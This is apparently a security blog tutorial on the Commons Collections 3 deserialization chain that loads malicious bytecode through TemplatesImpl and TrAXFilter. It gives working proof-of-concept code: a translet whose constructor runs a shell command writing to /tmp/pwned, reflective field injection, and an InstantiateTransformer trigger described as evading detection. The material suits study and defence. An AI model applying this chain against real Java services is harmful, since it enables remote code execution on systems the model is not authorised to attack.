Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Dynamic Bytecode Loading via TemplatesImpl in Apache Commons Collections 3

Tech 1

This attack vector circumvents security restrictions targeting Runtime.getRuntime().exec() by leveraging dynamic class loading through instrumented bytecode. Rather than invoking system commands directly, the chain injects malicious class definitions into the JVM via the XSLT transformation framework's internal mechanisms.

Execution Flow

The complete invocation sequence proceeds as follows:

InstantiateTransformer.transform()
  └─> TrAXFilter.<init>()
       └─> TemplatesImpl.newTransformer()
            └─> TemplatesImpl.getTransletInstance()
                 └─> TemplatesImpl.defineTransletClasses()
                      └─> Unsafe.defineClass() [internal]

TemplatesImpl Internals

The TemplatesImpl class contains the critical vulnerability surface through several private fields that control class loading behavior:

  • _bytecodes: A two-dimensional byte array storing the raw classfile data to be loaded
  • _name: A string identifier that must be non-null to trigger the class definition routine
  • _tfactory: A TransformerFactoryImpl instance required for initialization context
  • _class: An internal cache that must remain null to force class redefinition

During deserialization, defineTransletClasses() iterates through _bytecodes, invoking the protected defineClass() method for each entry. Subsequently, getTransletInstance() instantiates the loaded class via reflection, executing static initializers and constructors.

Payload Construction

The malicious class must extend AbstractTranslet (or implement Translet). The defineTransletClasses() method validates the superclass hierarchy; if the loaded class does not inherit from AbstractTranslet, the code attempts to store it in _auxClasses, which remains uninitialized and triggers a null pointer exception.

public class PayloadTranslet extends AbstractTranslet {
    public PayloadTranslet() throws Exception {
        Runtime.getRuntime().exec("/bin/sh -c 'id > /tmp/pwned'");
    }

    @Override
    public void transform(DOM doc, SerializationHandler[] handlers) 
            throws TransletException {}

    @Override
    public void transform(DOM doc, DTMAxisIterator iter, 
            SerializationHandler handler) throws TransletException {}
}

Direct Exploitation\n To weaponize TemplatesImpl directly, reflective field injection prepares the instance before triggering newTransformer():

TemplatesImpl tmpl = new TemplatesImpl();
Class<?> clazz = TemplatesImpl.class;

// Read compiled payload from filesystem
byte[] rawClass = Files.readAllBytes(Paths.get("/var/tmp/PayloadTranslet.class"));
byte[][] classArray = {rawClass};

// Configure name field (must be non-null)
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "x");

// Inject bytecode array
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, classArray);

// Initialize transformer factory
Field factory = clazz.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(tmpl, new TransformerFactoryImpl());

// Execute chain
tmpl.newTransformer();

Chained Invocation via InstantiateTransformer

For integration with broader deserialization chains, TrAXFilter serves as a bridge. Its constructor accepts a Templates instance and immediately invokes newTransformer(). The InstantiateTransformer class facilitates dynamic instantiation with controlled arguments:

// Prepare instrumented TemplatesImpl instance
TemplatesImpl maliciousTemplate = new TemplatesImpl();
// ... populate fields via reflection as shown above ...

// Create transformer that instantiates TrAXFilter with our template
InstantiateTransformer trigger = new InstantiateTransformer(
    new Class[]{Templates.class},
    new Object[]{maliciousTemplate}
);

// Execute: instantiates TrAXFilter -> calls newTransformer() -> loads payload
trigger.transform(TrAXFilter.class);

This approach embeds the execution trigger within legitimate XSLT processing workflows, evading detection mechanisms focused on direct Runtime or ProcessBuilder instantiation.

Tags: Java

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

SBUS Signal Analysis and Communication Implementation Using STM32 with Fus Remote Controller

Overview In a recent project, I utilized the SBUS protocol with the Fus remote controller to control a vehicle's basic operations, including movement, lights, and mode switching. This article is aimed...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.